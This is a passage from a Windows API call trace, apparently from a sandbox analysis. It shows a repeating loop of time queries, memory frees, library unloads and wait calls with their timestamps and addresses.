lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x595eb8eb, dwHighDateTime=0x1d9eb0c)) [0202.192] free (_Block=0x196ef0d1d60) [0202.192] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.192] free (_Block=0x196ef0d67b0) [0202.193] free (_Block=0x196ef0fbd10) [0202.193] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5961196d, dwHighDateTime=0x1d9eb0c)) [0202.206] free (_Block=0x196ef0d1e60) [0202.206] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.206] free (_Block=0x196ef0d67b0) [0202.207] free (_Block=0x196ef0fb680) [0202.207] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5982783a, dwHighDateTime=0x1d9eb0c)) [0202.420] free (_Block=0x196ef0d1d00) [0202.420] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.421] free (_Block=0x196ef0d67b0) [0202.422] free (_Block=0x196ef0fb540) [0202.422] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.428] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5982783a, dwHighDateTime=0x1d9eb0c)) [0202.429] free (_Block=0x196ef0d1a80) [0202.429] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.429] free (_Block=0x196ef0d67b0) [0202.430] free (_Block=0x196ef0fba40) [0202.430] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x59852a4c, dwHighDateTime=0x1d9eb0c)) [0202.437] free (_Block=0x196ef0d20e0) [0202.437] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.438] free (_Block=0x196ef0d67b0) [0202.439] free (_Block=0x196ef0fb310) [0202.439] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x59852a4c, dwHighDateTime=0x1d9eb0c)) [0202.445] free (_Block=0x196ef0d1a60) [0202.445] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.446] free (_Block=0x196ef0d67b0) [0202.446] free (_Block=0x196ef0fc170) [0202.446] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.560] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5997ef2e, dwHighDateTime=0x1d9eb0c)) [0202.561] free (_Block=0x196ef0d19a0) [0202.561] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.561] free (_Block=0x196ef0d67b0) [0202.562] free (_Block=0x196ef0fbc20) [0202.562] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5997ef2e, dwHighDateTime=0x1d9eb0c)) [0202.571] free (_Block=0x196ef0d2080) [0202.571] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.572] free (_Block=0x196ef0d67b0) [0202.572] free (_Block=0x196ef0fb950) [0202.572] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x599a5200, dwHighDateTime=0x1d9eb0c)) [0202.583] free (_Block=0x196ef0d1960) [0202.583] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.584] free (_Block=0x196ef0d67b0) [0202.584] free (_Block=0x196ef0fb9a0) [0202.585] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.592] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x599cb9d6, dwHighDateTime=0x1d9eb0c)) [0202.593] free (_Block=0x196ef0d1ba0) [0202.593] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.593] free (_Block=0x196ef0d67b0) [0202.594] free (_Block=0x196ef0fc120) [0202.594] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.741] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x59b2316e, dwHighDateTime=0x1d9eb0c)) [0202.742] free (_Block=0x196ef0d1fa0) [0202.742] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.743] free (_Block=0x196ef0d67b0) [0202.744] free (_Block=0x196ef0fbe50) [0202.744] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x59b4fb12, dwHighDateTime=0x1d9eb0c)) [0202.753] free (_Block=0x196ef0d1da0) [0202.753] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.754] free (_Block=0x196ef0d67b0) [0202.754] free (_Block=0x196ef0fbb30) [0202.754] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x59b6f01f, dwHighDateTime=0x1d9eb0c)) [0202.767] free (_Block=0x196ef0d1b00) [0202.768] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.768] free (_Block=0x196ef0d67b0) [0202.769] free (_Block=0x196ef0fc080) [0202.769] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.873] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x59c7b19b, dwHighDateTime=0x1d9eb0c)) [0202.874] free (_Block=0x196ef0d1ec0) [0202.874] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.875] free (_Block=0x196ef0d67b0) [0202.875] free (_Block=0x196ef0fb8b0) [0202.876] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x59c7b19b, dwHighDateTime=0x1d9eb0c)) [0202.882] free (_Block=0x196ef0d1ba0) [0202.882] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.883] free (_Block=0x196ef0d67b0) [0202.883] free (_Block=0x196ef0fbe50) [0202.884] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.890] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x59ca0244, dwHighDateTime=0x1d9eb0c)) [0202.890] free (_Block=0x196ef0d1980) [0202.890] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.891] free (_Block=0x196ef0d67b0) [0202.891] free (_Block=0x196ef0fbfe0) [0202.891] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x59ca0244, dwHighDateTime=0x1d9eb0c)) [0202.898] free (_Block=0x196ef0d1e80) [0202.898] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.899] free (_Block=0x196ef0d67b0) [0202.899] free (_Block=0x196ef0fba40) [0202.900] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x59cc6384, dwHighDateTime=0x1d9eb0c)) [0202.913] free (_Block=0x196ef0d1980) [0202.913] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0202.913] free (_Block=0x196ef0d67b0) [0202.914] free (_Block=0x196ef0fb720) [0202.914] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x59eb62c5, dwHighDateTime=0x1d9eb0c)) [0203.119] free (_Block=0x196ef0d1e00) [0203.119] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.119] free (_Block=0x196ef0d67b0) [0203.120] free (_Block=0x196ef0fba90) [0203.120] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x59edc2f4, dwHighDateTime=0x1d9eb0c)) [0203.127] free (_Block=0x196ef0d1da0) [0203.127] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.128] free (_Block=0x196ef0d67b0) [0203.128] free (_Block=0x196ef0fba40) [0203.128] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x59edc2f4, dwHighDateTime=0x1d9eb0c)) [0203.134] free (_Block=0x196ef0d1de0) [0203.135] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.135] free (_Block=0x196ef0d67b0) [0203.136] free (_Block=0x196ef0fb9a0) [0203.136] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.142] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x59f02711, dwHighDateTime=0x1d9eb0c)) [0203.143] free (_Block=0x196ef0d1b40) [0203.143] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.143] free (_Block=0x196ef0d67b0) [0203.143] free (_Block=0x196ef0fbea0) [0203.144] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x59f02711, dwHighDateTime=0x1d9eb0c)) [0203.149] free (_Block=0x196ef0d1e20) [0203.149] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.150] free (_Block=0x196ef0d67b0) [0203.150] free (_Block=0x196ef0fb860) [0203.150] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x59f28a3c, dwHighDateTime=0x1d9eb0c)) [0203.156] free (_Block=0x196ef0d1b40) [0203.156] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.156] free (_Block=0x196ef0d67b0) [0203.157] free (_Block=0x196ef0fb8b0) [0203.157] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.401] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a1663e3, dwHighDateTime=0x1d9eb0c)) [0203.401] free (_Block=0x196ef0d1f20) [0203.401] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.402] free (_Block=0x196ef0d67b0) [0203.403] free (_Block=0x196ef0fbc70) [0203.403] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a18b57e, dwHighDateTime=0x1d9eb0c)) [0203.410] free (_Block=0x196ef0d1b00) [0203.410] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.411] free (_Block=0x196ef0d67b0) [0203.411] free (_Block=0x196ef0fb360) [0203.411] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a18b57e, dwHighDateTime=0x1d9eb0c)) [0203.418] free (_Block=0x196ef0d1ca0) [0203.418] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.419] free (_Block=0x196ef0d67b0) [0203.419] free (_Block=0x196ef0fbef0) [0203.419] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a1b10cd, dwHighDateTime=0x1d9eb0c)) [0203.426] free (_Block=0x196ef0d1be0) [0203.426] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.426] free (_Block=0x196ef0d67b0) [0203.427] free (_Block=0x196ef0fba90) [0203.427] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a1d7485, dwHighDateTime=0x1d9eb0c)) [0203.440] free (_Block=0x196ef0d1d00) [0203.440] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.440] free (_Block=0x196ef0d67b0) [0203.441] free (_Block=0x196ef0fc170) [0203.441] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.616] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a37c02b, dwHighDateTime=0x1d9eb0c)) [0203.617] free (_Block=0x196ef0d1d20) [0203.617] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.618] free (_Block=0x196ef0d67b0) [0203.618] free (_Block=0x196ef0fba40) [0203.618] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a3a10dc, dwHighDateTime=0x1d9eb0c)) [0203.626] free (_Block=0x196ef0d19a0) [0203.626] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.627] free (_Block=0x196ef0d67b0) [0203.628] free (_Block=0x196ef0fb310) [0203.628] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a3a10dc, dwHighDateTime=0x1d9eb0c)) [0203.635] free (_Block=0x196ef0d1d20) [0203.635] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.635] free (_Block=0x196ef0d67b0) [0203.636] free (_Block=0x196ef0fbfe0) [0203.636] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a3c83b4, dwHighDateTime=0x1d9eb0c)) [0203.645] free (_Block=0x196ef0d1980) [0203.645] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.645] free (_Block=0x196ef0d67b0) [0203.646] free (_Block=0x196ef0fb680) [0203.646] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.653] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a3ed3e7, dwHighDateTime=0x1d9eb0c)) [0203.654] free (_Block=0x196ef0d1b00) [0203.654] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.654] free (_Block=0x196ef0d67b0) [0203.655] free (_Block=0x196ef0fb860) [0203.655] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.828] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a590da6, dwHighDateTime=0x1d9eb0c)) [0203.829] free (_Block=0x196ef0d20a0) [0203.829] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.830] free (_Block=0x196ef0d67b0) [0203.830] free (_Block=0x196ef0fb3b0) [0203.831] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a5b7291, dwHighDateTime=0x1d9eb0c)) [0203.846] free (_Block=0x196ef0d2080) [0203.846] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.847] free (_Block=0x196ef0d67b0) [0203.847] free (_Block=0x196ef0fb270) [0203.848] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.854] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a5b7291, dwHighDateTime=0x1d9eb0c)) [0203.855] free (_Block=0x196ef0d19c0) [0203.855] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.855] free (_Block=0x196ef0d67b0) [0203.856] free (_Block=0x196ef0fbb30) [0203.857] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.864] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a5dd411, dwHighDateTime=0x1d9eb0c)) [0203.865] free (_Block=0x196ef0d1ca0) [0203.865] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.866] free (_Block=0x196ef0d67b0) [0203.866] free (_Block=0x196ef0fc170) [0203.867] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a70e5e6, dwHighDateTime=0x1d9eb0c)) [0203.985] free (_Block=0x196ef0d1ea0) [0203.985] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.985] free (_Block=0x196ef0d67b0) [0203.986] free (_Block=0x196ef0fc120) [0203.986] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a734741, dwHighDateTime=0x1d9eb0c)) [0203.997] free (_Block=0x196ef0d1de0) [0203.997] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0203.998] free (_Block=0x196ef0d67b0) [0203.999] free (_Block=0x196ef0fc030) [0203.999] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a734741, dwHighDateTime=0x1d9eb0c)) [0204.006] free (_Block=0x196ef0d1a80) [0204.006] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0204.006] free (_Block=0x196ef0d67b0) [0204.007] free (_Block=0x196ef0fc170) [0204.007] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a75a9a3, dwHighDateTime=0x1d9eb0c)) [0204.015] free (_Block=0x196ef0d1fc0) [0204.015] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0204.016] free (_Block=0x196ef0d67b0) [0204.017] free (_Block=0x196ef0fc120) [0204.017] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a75a9a3, dwHighDateTime=0x1d9eb0c)) [0204.023] free (_Block=0x196ef0d1e60) [0204.023] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0204.024] free (_Block=0x196ef0d67b0) [0204.025] free (_Block=0x196ef0fbef0) [0204.025] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.142] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a88bd74, dwHighDateTime=0x1d9eb0c)) [0204.143] free (_Block=0x196ef0d1e60) [0204.143] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0204.143] free (_Block=0x196ef0d67b0) [0204.144] free (_Block=0x196ef0fb810) [0204.144] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.152] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a88bd74, dwHighDateTime=0x1d9eb0c)) [0204.153] free (_Block=0x196ef0d1ec0) [0204.153] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0204.153] free (_Block=0x196ef0d67b0) [0204.153] free (_Block=0x196ef0fb680) [0204.154] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5a8b1f01, dwHighDateTime=0x1d9eb0c)) [0204.166] free (_Block=0x196ef0d2020) [0204.166] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0204.167] free (_Block=0x196ef0d67b0) [0204.167] free (_Block=0x196ef0fbc20) [0204.168] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5ab48474, dwHighDateTime=0x1d9eb0c)) [0204.432] free (_Block=0x196ef0d1d40) [0204.432] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0204.433] free (_Block=0x196ef0d67b0) [0204.433] free (_Block=0x196ef0fc120) [0204.433] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.434] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.878] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.879] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5b0e6375, dwHighDateTime=0x1d9eb0c)) [0205.013] free (_Block=0x196ef0d1d20) [0205.013] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0205.014] free (_Block=0x196ef0d67b0) [0205.014] free (_Block=0x196ef0fbf90) [0205.014] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.015] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5b2616bc, dwHighDateTime=0x1d9eb0c)) [0205.178] free (_Block=0x196ef0d20e0) [0205.178] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0205.178] free (_Block=0x196ef0d67b0) [0205.179] free (_Block=0x196ef0fb4f0) [0205.179] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.184] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5b2879c7, dwHighDateTime=0x1d9eb0c)) [0205.185] free (_Block=0x196ef0d1f00) [0205.185] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0205.185] free (_Block=0x196ef0d67b0) [0205.186] free (_Block=0x196ef0fb720) [0205.186] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5b2879c7, dwHighDateTime=0x1d9eb0c)) [0205.191] free (_Block=0x196ef0d1fa0) [0205.191] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0205.191] free (_Block=0x196ef0d67b0) [0205.192] free (_Block=0x196ef0fba90) [0205.192] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5b2879c7, dwHighDateTime=0x1d9eb0c)) [0205.197] free (_Block=0x196ef0d1980) [0205.197] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0205.198] free (_Block=0x196ef0d67b0) [0205.198] free (_Block=0x196ef0fb950) [0205.198] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5b3ded8c, dwHighDateTime=0x1d9eb0c)) [0205.331] free (_Block=0x196ef0d1bc0) [0205.331] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0205.332] free (_Block=0x196ef0d67b0) [0205.332] free (_Block=0x196ef0fbae0) [0205.333] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5b3ded8c, dwHighDateTime=0x1d9eb0c)) [0205.338] free (_Block=0x196ef0d1d60) [0205.338] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0205.339] free (_Block=0x196ef0d67b0) [0205.340] free (_Block=0x196ef0fbb30) [0205.340] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5b410d14, 